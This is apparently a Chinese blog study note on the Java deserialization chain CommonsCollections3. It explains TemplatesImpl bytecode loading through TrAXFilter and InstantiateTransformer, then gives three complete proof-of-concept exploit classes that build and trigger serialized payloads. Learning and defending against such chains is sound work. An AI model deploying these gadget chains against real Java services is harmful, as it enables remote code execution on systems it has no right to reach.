Java反序列化之CC3
原理:
利用TemplatesImpl 来加载类的字节码 ( TemplatesImpl#newTransformer() )
其在 newTransformer 的时候, 会
利用链: (使用InvokerTransformer)
AnnotationInvocationHandler.readObject()
核心逻辑:Map.Entry<String, Object> memberValue : memberValues.entrySet() 和memberValue.setValue(...)
TransformedMap#setvalue()
TransformerMap#Transform()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()
-> TransletClassLoader#defineClass()
#defileClass会将字节码处理为真正的Java类

AnnotationInvocationHandler类的构造函数有两个参数,第一个参数是一个Annotation类;第二个是 参数就是前面构造的Map。
TemplatesImpl 中对加载的字节码是有一定要求的:这个字节码对应的类必须是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 的子类
需要将恶意的字节码传入给TempLatesImpl 类所实现的对象的 私有属性 _bytecodes 中
读取字节码也可以使用:
byte[] code = Files.readAllBytes(Paths.get("D://test.class")); 来进行读取
translate 是不可被反序列化的
疑问:
注意一点,在
defineClass被调用的时候,类对象是不会被初始化的,只有这个对象显式地调用其构造 函数,初始化代码才能被执行。而且,即使我们将初始化代码放在类的static块中(在本系列文章第一篇 中进行过说明),在defineClass时也无法被直接调用到。所以,如果我们要使用defineClass在目 标机器上执行任意代码,需要想办法调用构造函数。
不使用Invokertransformer :
需要使用到TrAXFilter , TrAXFilter 的构造函数会调用到 (TransformerImpl) templates.newTransformer() ,免去了我们使⽤InvokerTransformer⼿⼯调⽤ newTransformer() ⽅法这⼀步

缺少了InvokerTransformer,TrAXFilter的构造⽅法也是⽆法调⽤的。这⾥会⽤到⼀个新的 Transformer,就是 org.apache.commons.collections.functors.InstantiateTransformer。 InstantiateTransformer也是⼀个实现了Transformer接⼝的类,他的作⽤就是调⽤构造⽅法。 所以,我们实现的⽬标就是,利⽤InstantiateTransformer来调⽤到TrAXFilter的构造⽅法,再利 ⽤其构造⽅法⾥的templates.newTransformer()调⽤到TemplatesImpl⾥的字节码。
setFieldValue 方法用来设置私有属性,可见,这里我设置了三个属性: _bytecodes 、 _name 和 _tfactory 。
_bytecodes 是由字节码组成的数组;
_name 可以是任意字符串,只要不为null即可;
_tfactory需要是一个TransformerFactoryImpl对象,因为 TemplatesImpl#defineTransletClasses() 方法里有调用到 _tfactory.getExternalExtensionsMap() ,如果是null会出错
POC :
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import
com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections.Transformer;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollectionsIntro2 {
public static void setFieldValue(Object obj, String fieldName, Object
value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
//设置私有属性
public static void main(String[] args) throws Exception {
// source: bytecodes/HelloTemplateImpl.java
byte[] code =
Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQ
EACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRj
L0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYW
xpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25z
BwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb2
0vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9z
dW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZG
xlcjspVgEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwu
amF2YQwADgAPBwAbDAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1
RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMv
cnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludG
VybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEA
FUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQ
AVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAA
AbEAAAABAAoAAAAGAAEAAAAIAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQ
AKAAAABgABAAAACgALAAAABAABAAwAAQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAE
sQAAAAEACgAAAA4AAwAAAA0ABAAOAAwADwABABAAAAACABE=");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(obj),
new InvokerTransformer("newTransformer", null, null)
};
Transformer transformerChain = new
ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null,
transformerChain);
outerMap.put("test", "xxxx");
}
}
反序列化利用POC:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
public class CC3poc2 {
public static void main(String[] args) throws NotFoundException, IOException, CannotCompileException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.getCtClass("com.test.evilClass");
byte[] bytes = ctClass.toBytecode();
//将恶意类转换为字节码
TemplatesImpl templates=new TemplatesImpl();
//可以直接new不需要像AnnotationInvocationHandler一样必须通过反射(类修饰符不同)
Class classInstance=templates.getClass();
Field field1=classInstance.getDeclaredField("_name");
Field field2=classInstance.getDeclaredField("_bytecodes");
field1.setAccessible(true);
field2.setAccessible(true);
field1.set(templates,"evilCLass");
field2.set(templates,new byte[][]{bytes});
//反射设置属性
Transformer[] transFormers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
Transformer chainedTransformer=new ChainedTransformer(transFormers);
InvokerTransformer transformer=new InvokerTransformer("newTransformer",null,null);
Map map =new HashMap();
Map lazyMap= LazyMap.decorate(map,chainedTransformer);
//在commoncellection3中使用LazyMap.decorate(map,chainedTransformer);
classInstance =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=classInstance.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Target.class,lazyMap);
Map proxyMap= (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),lazyMap.getClass().getInterfaces(),invocationHandler);
//生成代理类
InvocationHandler annotationinvocationHandler=(InvocationHandler)constructor.newInstance(Target.class,proxyMap);
//将代理类传入
ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream=new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(annotationinvocationHandler);
objectOutputStream.close();
//序列化
ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
ObjectInputStream objectInputStream=new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
}
基于TransformerMap
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.TransformedMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC3Poc {
public static void main(String[] args) throws NotFoundException, IOException, CannotCompileException, ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException {
ClassPool classPool= ClassPool.getDefault();
CtClass ctClass=classPool.getCtClass("com.test.evilClass");
byte[] bytes=ctClass.toBytecode();
//将恶意类转换为字节码
TemplatesImpl templatesImpl = new TemplatesImpl();
Field field1=templatesImpl.getClass().getDeclaredField("_name");
Field field2=templatesImpl.getClass().getDeclaredField("_bytecodes");
field1.setAccessible(true);
field2.setAccessible(true);
field1.set(templatesImpl,"evilClass");
field2.set(templatesImpl,new byte[][]{bytes});
//通过反射将bytes和一个name赋值给TemplatesImpl的_name和_bytecodes
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})
};
Transformer chainedTransformer=new ChainedTransformer(transformers);
//构造触发newTransform()的利用链,InstantiateTransformer的transform()会将TrAXFilter实例化传入template,触发在构造方法中的newTransform方法
HashMap map=new HashMap();
map.put("value","asd");
Map transformedMap=TransformedMap.decorate(map,null,chainedTransformer);
Class classInstance=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=classInstance.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler annotationinvocationHandler=(InvocationHandler) constructor.newInstance(Target.class,transformedMap);
//反射调用
ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream=new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(annotationinvocationHandler);
objectOutputStream.close();
//序列化
ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
ObjectInputStream objectInputStream=new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
}
浙公网安备 33010602011771号